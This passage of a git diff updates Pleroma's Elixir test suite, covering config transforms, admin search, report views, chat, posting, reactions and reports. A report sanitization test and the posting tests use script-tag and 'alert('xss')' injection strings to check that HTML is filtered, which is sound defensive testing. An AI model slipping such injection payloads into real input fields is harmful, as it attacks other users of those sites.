- webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"
- )
-
- assert Config.from_binary(binary) == [
- level: :warn,
- meta: [:all],
- path: "",
- val: nil,
- webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE"
- ]
- end
-
- test "complex keyword with sigil" do
- binary =
- Config.transform([
- %{"tuple" => [":federated_timeline_removal", []]},
- %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]},
- %{"tuple" => [":replace", []]}
- ])
-
- assert binary ==
- :erlang.term_to_binary(
- federated_timeline_removal: [],
- reject: [~r/comp[lL][aA][iI][nN]er/],
- replace: []
- )
-
- assert Config.from_binary(binary) ==
- [federated_timeline_removal: [], reject: [~r/comp[lL][aA][iI][nN]er/], replace: []]
- end
-
- test "complex keyword with tuples with more than 2 values" do
- binary =
- Config.transform([
- %{
- "tuple" => [
- ":http",
- [
- %{
- "tuple" => [
- ":key1",
- [
- %{
- "tuple" => [
- ":_",
- [
- %{
- "tuple" => [
- "/api/v1/streaming",
- "Pleroma.Web.MastodonAPI.WebsocketHandler",
- []
- ]
- },
- %{
- "tuple" => [
- "/websocket",
- "Phoenix.Endpoint.CowboyWebSocket",
- %{
- "tuple" => [
- "Phoenix.Transports.WebSocket",
- %{
- "tuple" => [
- "Pleroma.Web.Endpoint",
- "Pleroma.Web.UserSocket",
- []
- ]
- }
- ]
- }
- ]
- },
- %{
- "tuple" => [
- ":_",
- "Phoenix.Endpoint.Cowboy2Handler",
- %{"tuple" => ["Pleroma.Web.Endpoint", []]}
- ]
- }
- ]
- ]
- }
- ]
- ]
- }
- ]
- ]
- }
- ])
-
- assert binary ==
- :erlang.term_to_binary(
- http: [
- key1: [
- _: [
- {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]
- ]
- ]
- )
-
- assert Config.from_binary(binary) == [
- http: [
- key1: [
- {:_,
- [
- {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]}
- ]
- ]
- ]
- end
- end
-end
diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs
index 501a8d007..082e691c4 100644
--- a/test/web/admin_api/search_test.exs
+++ b/test/web/admin_api/search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.SearchTest do
@@ -47,9 +47,9 @@ defmodule Pleroma.Web.AdminAPI.SearchTest do
end
test "it returns active/deactivated users" do
- insert(:user, info: %{deactivated: true})
- insert(:user, info: %{deactivated: true})
- insert(:user, info: %{deactivated: false})
+ insert(:user, deactivated: true)
+ insert(:user, deactivated: true)
+ insert(:user, deactivated: false)
{:ok, _results, active_count} =
Search.user(%{
@@ -70,7 +70,7 @@ defmodule Pleroma.Web.AdminAPI.SearchTest do
test "it returns specific user" do
insert(:user)
insert(:user)
- user = insert(:user, nickname: "bob", local: true, info: %{deactivated: false})
+ user = insert(:user, nickname: "bob", local: true, deactivated: false)
{:ok, _results, total_count} = Search.user(%{query: ""})
@@ -108,7 +108,7 @@ defmodule Pleroma.Web.AdminAPI.SearchTest do
end
test "it returns admin user" do
- admin = insert(:user, info: %{is_admin: true})
+ admin = insert(:user, is_admin: true)
insert(:user)
insert(:user)
@@ -119,7 +119,7 @@ defmodule Pleroma.Web.AdminAPI.SearchTest do
end
test "it returns moderator user" do
- moderator = insert(:user, info: %{is_moderator: true})
+ moderator = insert(:user, is_moderator: true)
insert(:user)
insert(:user)
diff --git a/test/web/admin_api/views/report_view_test.exs b/test/web/admin_api/views/report_view_test.exs
index a00c9c579..a0c6eab3c 100644
--- a/test/web/admin_api/views/report_view_test.exs
+++ b/test/web/admin_api/views/report_view_test.exs
@@ -5,6 +5,7 @@
defmodule Pleroma.Web.AdminAPI.ReportViewTest do
use Pleroma.DataCase
import Pleroma.Factory
+ alias Pleroma.Web.AdminAPI.Report
alias Pleroma.Web.AdminAPI.ReportView
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.MastodonAPI.AccountView
@@ -20,21 +21,22 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
content: nil,
actor:
Map.merge(
- AccountView.render("account.json", %{user: user}),
+ AccountView.render("show.json", %{user: user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user})
),
account:
Map.merge(
- AccountView.render("account.json", %{user: other_user}),
+ AccountView.render("show.json", %{user: other_user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})
),
statuses: [],
+ notes: [],
state: "open",
id: activity.id
}
result =
- ReportView.render("show.json", %{report: activity})
+ ReportView.render("show.json", Report.extract_report_info(activity))
|> Map.delete(:created_at)
assert result == expected
@@ -48,25 +50,28 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
{:ok, report_activity} =
CommonAPI.report(user, %{"account_id" => other_user.id, "status_ids" => [activity.id]})
+ other_user = Pleroma.User.get_by_id(other_user.id)
+
expected = %{
content: nil,
actor:
Map.merge(
- AccountView.render("account.json", %{user: user}),
+ AccountView.render("show.json", %{user: user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user})
),
account:
Map.merge(
- AccountView.render("account.json", %{user: other_user}),
+ AccountView.render("show.json", %{user: other_user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})
),
- statuses: [StatusView.render("status.json", %{activity: activity})],
+ statuses: [StatusView.render("show.json", %{activity: activity})],
state: "open",
+ notes: [],
id: report_activity.id
}
result =
- ReportView.render("show.json", %{report: report_activity})
+ ReportView.render("show.json", Report.extract_report_info(report_activity))
|> Map.delete(:created_at)
assert result == expected
@@ -78,7 +83,9 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
{:ok, activity} = CommonAPI.report(user, %{"account_id" => other_user.id})
{:ok, activity} = CommonAPI.update_report_state(activity.id, "closed")
- assert %{state: "closed"} = ReportView.render("show.json", %{report: activity})
+
+ assert %{state: "closed"} =
+ ReportView.render("show.json", Report.extract_report_info(activity))
end
test "renders report description" do
@@ -92,7 +99,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
})
assert %{content: "posts are too good for this instance"} =
- ReportView.render("show.json", %{report: activity})
+ ReportView.render("show.json", Report.extract_report_info(activity))
end
test "sanitizes report description" do
@@ -109,7 +116,7 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
activity = Map.put(activity, :data, data)
refute "<script> alert('hecked :D:D:D:D:D:D:D') </script>" ==
- ReportView.render("show.json", %{report: activity})[:content]
+ ReportView.render("show.json", Report.extract_report_info(activity))[:content]
end
test "doesn't error out when the user doesn't exists" do
@@ -125,6 +132,6 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
Pleroma.User.delete(other_user)
Pleroma.User.invalidate_cache(other_user)
- assert %{} = ReportView.render("show.json", %{report: activity})
+ assert %{} = ReportView.render("show.json", Report.extract_report_info(activity))
end
end
diff --git a/test/web/chat_channel_test.exs b/test/web/chat_channel_test.exs
new file mode 100644
index 000000000..68c24a9f9
--- /dev/null
+++ b/test/web/chat_channel_test.exs
@@ -0,0 +1,37 @@
+defmodule Pleroma.Web.ChatChannelTest do
+ use Pleroma.Web.ChannelCase
+ alias Pleroma.Web.ChatChannel
+ alias Pleroma.Web.UserSocket
+
+ import Pleroma.Factory
+
+ setup do
+ user = insert(:user)
+
+ {:ok, _, socket} =
+ socket(UserSocket, "", %{user_name: user.nickname})
+ |> subscribe_and_join(ChatChannel, "chat:public")
+
+ {:ok, socket: socket}
+ end
+
+ test "it broadcasts a message", %{socket: socket} do
+ push(socket, "new_msg", %{"text" => "why is tenshi eating a corndog so cute?"})
+ assert_broadcast("new_msg", %{text: "why is tenshi eating a corndog so cute?"})
+ end
+
+ describe "message lengths" do
+ clear_config([:instance, :chat_limit])
+
+ test "it ignores messages of length zero", %{socket: socket} do
+ push(socket, "new_msg", %{"text" => ""})
+ refute_broadcast("new_msg", %{text: ""})
+ end
+
+ test "it ignores messages above a certain length", %{socket: socket} do
+ Pleroma.Config.put([:instance, :chat_limit], 2)
+ push(socket, "new_msg", %{"text" => "123"})
+ refute_broadcast("new_msg", %{text: "123"})
+ end
+ end
+end
diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs
index 16b3f121d..f8963e42e 100644
--- a/test/web/common_api/common_api_test.exs
+++ b/test/web/common_api/common_api_test.exs
@@ -5,18 +5,69 @@
defmodule Pleroma.Web.CommonAPITest do
use Pleroma.DataCase
alias Pleroma.Activity
+ alias Pleroma.Conversation.Participation
alias Pleroma.Object
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
+ alias Pleroma.Web.ActivityPub.Visibility
+ alias Pleroma.Web.AdminAPI.AccountView
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
+ require Pleroma.Constants
+
+ clear_config([:instance, :safe_dm_mentions])
+ clear_config([:instance, :limit])
+ clear_config([:instance, :max_pinned_statuses])
+
+ test "when replying to a conversation / participation, it will set the correct context id even if no explicit reply_to is given" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})
+
+ [participation] = Participation.for_user(user)
+
+ {:ok, convo_reply} =
+ CommonAPI.post(user, %{"status" => ".", "in_reply_to_conversation_id" => participation.id})
+
+ assert Visibility.is_direct?(convo_reply)
+
+ assert activity.data["context"] == convo_reply.data["context"]
+ end
+
+ test "when replying to a conversation / participation, it only mentions the recipients explicitly declared in the participation" do
+ har = insert(:user)
+ jafnhar = insert(:user)
+ tridi = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(har, %{
+ "status" => "@#{jafnhar.nickname} hey",
+ "visibility" => "direct"
+ })
+
+ assert har.ap_id in activity.recipients
+ assert jafnhar.ap_id in activity.recipients
+
+ [participation] = Participation.for_user(har)
+
+ {:ok, activity} =
+ CommonAPI.post(har, %{
+ "status" => "I don't really like @#{tridi.nickname}",
+ "visibility" => "direct",
+ "in_reply_to_status_id" => activity.id,
+ "in_reply_to_conversation_id" => participation.id
+ })
+
+ assert har.ap_id in activity.recipients
+ assert jafnhar.ap_id in activity.recipients
+ refute tridi.ap_id in activity.recipients
+ end
+
test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do
har = insert(:user)
jafnhar = insert(:user)
tridi = insert(:user)
- option = Pleroma.Config.get([:instance, :safe_dm_mentions])
Pleroma.Config.put([:instance, :safe_dm_mentions], true)
{:ok, activity} =
@@ -27,7 +78,6 @@ defmodule Pleroma.Web.CommonAPITest do
refute tridi.ap_id in activity.recipients
assert jafnhar.ap_id in activity.recipients
- Pleroma.Config.put([:instance, :safe_dm_mentions], option)
end
test "it de-duplicates tags" do
@@ -49,11 +99,13 @@ defmodule Pleroma.Web.CommonAPITest do
test "it adds emoji when updating profiles" do
user = insert(:user, %{name: ":firefox:"})
- CommonAPI.update(user)
+ {:ok, activity} = CommonAPI.update(user)
user = User.get_cached_by_ap_id(user.ap_id)
- [firefox] = user.info.source_data["tag"]
+ [firefox] = user.source_data["tag"]
assert firefox["name"] == ":firefox:"
+
+ assert Pleroma.Constants.as_public() in activity.recipients
end
describe "posting" do
@@ -89,7 +141,7 @@ defmodule Pleroma.Web.CommonAPITest do
object = Object.normalize(activity)
- assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')"
+ assert object.data["content"] == "<p><b>2hu</b></p>alert(&#39;xss&#39;)"
end
test "it filters out obviously bad tags when accepting a post as Markdown" do
@@ -105,7 +157,7 @@ defmodule Pleroma.Web.CommonAPITest do
object = Object.normalize(activity)
- assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')"
+ assert object.data["content"] == "<p><b>2hu</b></p>alert(&#39;xss&#39;)"
end
test "it does not allow replies to direct messages that are not direct messages themselves" do
@@ -150,19 +202,58 @@ defmodule Pleroma.Web.CommonAPITest do
end
test "it returns error when character limit is exceeded" do
- limit = Pleroma.Config.get([:instance, :limit])
Pleroma.Config.put([:instance, :limit], 5)
user = insert(:user)
assert {:error, "The status is over the character limit"} =
CommonAPI.post(user, %{"status" => "foobar"})
+ end
+
+ test "it can handle activities that expire" do
+ user = insert(:user)
- Pleroma.Config.put([:instance, :limit], limit)
+ expires_at =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.truncate(:second)
+ |> NaiveDateTime.add(1_000_000, :second)
+
+ assert {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "chai", "expires_in" => 1_000_000})
+
+ assert expiration = Pleroma.ActivityExpiration.get_by_activity_id(activity.id)
+ assert expiration.scheduled_at == expires_at
end
end
describe "reactions" do
+ test "reacting to a status with an emoji" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
+
+ {:ok, reaction, _} = CommonAPI.react_with_emoji(activity.id, user, "👍")
+
+ assert reaction.data["actor"] == user.ap_id
+ assert reaction.data["content"] == "👍"
+
+ # TODO: test error case.
+ end
+
+ test "unreacting to a status with an emoji" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
+ {:ok, reaction, _} = CommonAPI.react_with_emoji(activity.id, user, "👍")
+
+ {:ok, unreaction, _} = CommonAPI.unreact_with_emoji(activity.id, user, "👍")
+
+ assert unreaction.data["type"] == "Undo"
+ assert unreaction.data["object"] == reaction.data["id"]
+ end
+
test "repeating a status" do
user = insert(:user)
other_user = insert(:user)
@@ -172,6 +263,18 @@ defmodule Pleroma.Web.CommonAPITest do
{:ok, %Activity{}, _} = CommonAPI.repeat(activity.id, user)
end
+ test "repeating a status privately" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
+
+ {:ok, %Activity{} = announce_activity, _} =
+ CommonAPI.repeat(activity.id, user, %{"visibility" => "private"})
+
+ assert Visibility.is_private?(announce_activity)
+ end
+
test "favoriting a status" do
user = insert(:user)
other_user = insert(:user)
@@ -181,22 +284,22 @@ defmodule Pleroma.Web.CommonAPITest do
{:ok, %Activity{}, _} = CommonAPI.favorite(activity.id, user)
end
- test "retweeting a status twice returns an error" do
+ test "retweeting a status twice returns the status" do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
- {:ok, %Activity{}, _object} = CommonAPI.repeat(activity.id, user)
- {:error, _} = CommonAPI.repeat(activity.id, user)
+ {:ok, %Activity{} = activity, object} = CommonAPI.repeat(activity.id, user)
+ {:ok, ^activity, ^object} = CommonAPI.repeat(activity.id, user)
end
- test "favoriting a status twice returns an error" do
+ test "favoriting a status twice returns the status" do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
- {:ok, %Activity{}, _object} = CommonAPI.favorite(activity.id, user)
- {:error, _} = CommonAPI.favorite(activity.id, user)
+ {:ok, %Activity{} = activity, object} = CommonAPI.favorite(activity.id, user)
+ {:ok, ^activity, ^object} = CommonAPI.favorite(activity.id, user)
end
end
@@ -216,7 +319,7 @@ defmodule Pleroma.Web.CommonAPITest do
id = activity.id
user = refresh_record(user)
- assert %User{info: %{pinned_activities: [^id]}} = user
+ assert %User{pinned_activities: [^id]} = user
end
test "unlisted statuses can be pinned", %{user: user} do
@@ -250,7 +353,7 @@ defmodule Pleroma.Web.CommonAPITest do
user = refresh_record(user)
- assert %User{info: %{pinned_activities: []}} = user
+ assert %User{pinned_activities: []} = user
end
test "should unpin when deleting a status", %{user: user, activity: activity} do
@@ -262,7 +365,7 @@ defmodule Pleroma.Web.CommonAPITest do
user = refresh_record(user)
- assert %User{info: %{pinned_activities: []}} = user
+ assert %User{pinned_activities: []} = user
end
end
@@ -310,6 +413,14 @@ defmodule Pleroma.Web.CommonAPITest do
"status_ids" => [activity.id]
}
+ note_obj = %{
+ "type" => "Note",
+ "id" => activity_ap_id,
+ "content" => "foobar",
+ "published" => activity.object.data["published"],
+ "actor" => AccountView.render("show.json", %{user: target_user})
+ }
+
assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data)
assert %Activity{
@@ -317,7 +428,7 @@ defmodule Pleroma.Web.CommonAPITest do
data: %{
"type" => "Flag",
"content" => ^comment,
- "object" => [^target_ap_id, ^activity_ap_id],
+ "object" => [^target_ap_id, ^note_obj],
"state" => "open"
}
} = flag_activity
@@ -337,6 +448,11 @@ defmodule Pleroma.Web.CommonAPITest do
{:ok, report} = CommonAPI.update_report_state(report_id, "resolved")
assert report.data["state"] == "resolved"
+
+ [reported_user, activity_id] = report.data["object"]
+
+ assert reported_user == target_user.ap_id
+ assert activity_id == activity.data["id"]
end
test "does not update report state when state is unsupported" do
@@ -352,6 +468,35 @@ defmodule Pleroma.Web.CommonAPITest do
assert CommonAPI.update_report_state(report_id, "test") == {:error, "Unsupported state"}
end
+
+ test "updates state of multiple reports" do
+ [reporter, target_user] = insert_pair(:user)
+ activity = insert(:note_activity, user: target_user)
+
+ {:ok, %Activity{id: first_report_id}} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "comment" => "I feel offended",
+ "status_ids" => [activity.id]
+ })
+
+ {:ok, %Activity{id: second_report_id}} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "comment" => "I feel very offended!",
+ "status_ids" => [activity.id]
+ })
+
+ {:ok, report_ids} =
+ CommonAPI.update_report_state([first_report_id, second_report_id], "resolved")
+
+ first_report = Activity.get_by_id(first_report_id)
+ second_report = Activity.get_by_id(second_report_id)
+
+ assert report_ids -- [first_report_id, second_report_id] == []
+ assert first_report.data["state"] == "resolved"
+ assert second_report.data["state"] == "resolved"
+ end
end
describe "reblog muting" do
@@ -364,14 +509,14 @@ defmodule Pleroma.Web.CommonAPITest do
end
test "add a reblog mute", %{muter: muter, muted: muted} do
- {:ok, muter} = CommonAPI.hide_reblogs(muter, muted)
+ {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted)
assert User.showing_reblogs?(muter, muted) == false
end
test "remove a reblog mute", %{muter: muter, muted: muted} do
- {:ok, muter} = CommonAPI.hide_reblogs(muter, muted)
- {:ok, muter} = CommonAPI.show_reblogs(muter, muted)
+ {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted)
+ {:ok, _reblog_mute} = CommonAPI.show_reblogs(muter, muted)
assert User.showing_reblogs?(muter, muted) == true
end
@@ -381,7 +526,7 @@ defmodule Pleroma.Web.CommonAPITest do
test "also unsubscribes a user" do
[follower, followed] = insert_pair(:user)
{:ok, follower, followed, _} = CommonAPI.follow(follower, followed)
- {:ok, followed} = User.subscribe(follower, followed)
+ {:ok, _subscription} = User.subscribe(follower, followed)
assert User.subscribed_to?(follower, followed)
@@ -393,7 +538,7 @@ defmodule Pleroma.Web.CommonAPITest do
describe "accept_follow_request/2" do
test "after acceptance, it sets all existing pending follow request states to 'accept'" do
- user = insert(:user, info: %{locked: true})
+ user = insert(:user, locked: true)
follower = insert(:user)
follower_two = insert(:user)
@@ -413,7 +558,7 @@ defmodule Pleroma.Web.CommonAPITest do
end
test "after rejection, it sets all existing pending follow request states to 'reject'" do
- user = insert(:user, info: %{locked: true})
+ user = insert(:user, locked: true)
follower = insert(:user)
follower_two = insert(:user)
@@ -451,4 +596,43 @@ defmodule Pleroma.Web.CommonAPITest do
assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1])
end
end
+
+ describe "listen/2" do
+ test "returns a valid activity" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "album" => "lain radio",
+ "artist" => "lain",
+ "length" => 180_000
+ })
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+
+ assert Visibility.get_visibility(activity) == "public"
+ end
+
+ test "respects visibility=private" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.listen(user, %{
+ "title" => "lain radio episode 1",
+ "album" => "lain radio",
+ "artist" => "lain",
+ "length" => 180_000,
+ "visibility" => "private"
+ })
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+
+ assert Visibility.get_visibility(activity) == "private"
+ end
+ end
end
diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
index af320f31f..4b761e039 100644
--- a/test/web/common_api/common_api_utils_test.exs
+++ b/test/web/common_api/common_api_utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CommonAPI.UtilsTest do
@@ -157,11 +157,11 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*"
expected =
- "<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{
+ ~s(<p><strong>hello world</strong></p>\n<p><em>another <span class="h-card"><a data-user="#{
user.id
- }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{
+ }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a data-user="#{
user.id
- }\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n"
+ }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>\n)
{output, _, _} = Utils.format_input(text, "text/markdown")
@@ -239,7 +239,7 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
mentioned_user = insert(:user)
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public", nil)
assert length(to) == 2
assert length(cc) == 1
@@ -256,7 +256,7 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
{:ok, activity} = CommonAPI.post(third_user, %{"status" => "uguu"})
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public", nil)
assert length(to) == 3
assert length(cc) == 1
@@ -272,7 +272,7 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
mentioned_user = insert(:user)
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted", nil)
assert length(to) == 2
assert length(cc) == 1
@@ -289,7 +289,7 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
{:ok, activity} = CommonAPI.post(third_user, %{"status" => "uguu"})
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted", nil)
assert length(to) == 3
assert length(cc) == 1
@@ -305,10 +305,9 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
mentioned_user = insert(:user)
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private")
-
+ {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private", nil)
assert length(to) == 2
- assert length(cc) == 0
+ assert Enum.empty?(cc)
assert mentioned_user.ap_id in to
assert user.follower_address in to
@@ -321,10 +320,10 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
{:ok, activity} = CommonAPI.post(third_user, %{"status" => "uguu"})
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private", nil)
assert length(to) == 3
- assert length(cc) == 0
+ assert Enum.empty?(cc)
assert mentioned_user.ap_id in to
assert third_user.ap_id in to
@@ -336,10 +335,10 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
mentioned_user = insert(:user)
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct", nil)
assert length(to) == 1
- assert length(cc) == 0
+ assert Enum.empty?(cc)
assert mentioned_user.ap_id in to
end
@@ -351,13 +350,251 @@ defmodule Pleroma.Web.CommonAPI.UtilsTest do
{:ok, activity} = CommonAPI.post(third_user, %{"status" => "uguu"})
mentions = [mentioned_user.ap_id]
- {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct")
+ {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct", nil)
assert length(to) == 2
- assert length(cc) == 0
+ assert Enum.empty?(cc)
assert mentioned_user.ap_id in to
assert third_user.ap_id in to
end
end
+
+ describe "get_by_id_or_ap_id/1" do
+ test "get activity by id" do
+ activity = insert(:note_activity)
+ %Pleroma.Activity{} = note = Utils.get_by_id_or_ap_id(activity.id)
+ assert note.id == activity.id
+ end
+
+ test "get activity by ap_id" do
+ activity = insert(:note_activity)
+ %Pleroma.Activity{} = note = Utils.get_by_id_or_ap_id(activity.data["object"])
+ assert note.id == activity.id
+ end
+
+ test "get activity by object when type isn't `Create` " do
+ activity = insert(:like_activity)
+ %Pleroma.Activity{} = like = Utils.get_by_id_or_ap_id(activity.id)
+ assert like.data["object"] == activity.data["object"]
+ end
+ end
+
+ describe "to_master_date/1" do
+ test "removes microseconds from date (NaiveDateTime)" do
+ assert Utils.to_masto_date(~N[2015-01-23 23:50:07.123]) == "2015-01-23T23:50:07.000Z"
+ end
+
+ test "removes microseconds from date (String)" do
+ assert Utils.to_masto_date("2015-01-23T23:50:07.123Z") == "2015-01-23T23:50:07.000Z"
+ end
+
+ test "returns empty string when date invalid" do
+ assert Utils.to_masto_date("2015-01?23T23:50:07.123Z") == ""
+ end
+ end
+
+ describe "conversation_id_to_context/1" do
+ test "returns id" do
+ object = insert(:note)
+ assert Utils.conversation_id_to_context(object.id) == object.data["id"]
+ end
+
+ test "returns error if object not found" do
+ assert Utils.conversation_id_to_context("123") == {:error, "No such conversation"}
+ end
+ end
+
+ describe "maybe_notify_mentioned_recipients/2" do
+ test "returns recipients when activity is not `Create`" do
+ activity = insert(:like_activity)
+ assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == ["test"]
+ end
+
+ test "returns recipients from tag" do
+ user = insert(:user)
+
+ object =
+ insert(:note,
+ user: user,
+ data: %{
+ "tag" => [
+ %{"type" => "Hashtag"},
+ "",
+ %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"},
+ %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"},
+ %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}
+ ]
+ }
+ )
+
+ activity = insert(:note_activity, user: user, note: object)
+
+ assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [
+ "test",
+ "https://testing.pleroma.lol/users/lain",
+ "https://shitposter.club/user/5381"
+ ]
+ end
+
+ test "returns recipients when object is map" do
+ user = insert(:user)
+ object = insert(:note, user: user)
+
+ activity =
+ insert(:note_activity,
+ user: user,
+ note: object,
+ data_attrs: %{
+ "object" => %{
+ "tag" => [
+ %{"type" => "Hashtag"},
+ "",
+ %{"type" => "Mention", "href" => "https://testing.pleroma.lol/users/lain"},
+ %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"},
+ %{"type" => "Mention", "href" => "https://shitposter.club/user/5381"}
+ ]
+ }
+ }
+ )
+
+ Pleroma.Repo.delete(object)
+
+ assert Utils.maybe_notify_mentioned_recipients(["test"], activity) == [
+ "test",
+ "https://testing.pleroma.lol/users/lain",
+ "https://shitposter.club/user/5381"
+ ]
+ end
+
+ test "returns recipients when object not found" do
+ user = insert(:user)
+ object = insert(:note, user: user)
+
+ activity = insert(:note_activity, user: user, note: object)
+ Pleroma.Repo.delete(object)
+
+ assert Utils.maybe_notify_mentioned_recipients(["test-test"], activity) == [
+ "test-test"
+ ]
+ end
+ end
+
+ describe "attachments_from_ids_descs/2" do
+ test "returns [] when attachment ids is empty" do
+ assert Utils.attachments_from_ids_descs([], "{}") == []
+ end
+
+ test "returns list attachments with desc" do
+ object = insert(:note)
+ desc = Jason.encode!(%{object.id => "test-desc"})
+
+ assert Utils.attachments_from_ids_descs(["#{object.id}", "34"], desc) == [
+ Map.merge(object.data, %{"name" => "test-desc"})
+ ]
+ end
+ end
+
+ describe "attachments_from_ids/1" do
+ test "returns attachments with descs" do
+ object = insert(:note)
+ desc = Jason.encode!(%{object.id => "test-desc"})
+
+ assert Utils.attachments_from_ids(%{
+ "media_ids" => ["#{object.id}"],
+ "descriptions" => desc
+ }) == [
+ Map.merge(object.data, %{"name" => "test-desc"})
+ ]
+ end
+
+ test "returns attachments without descs" do
+ object = insert(:note)
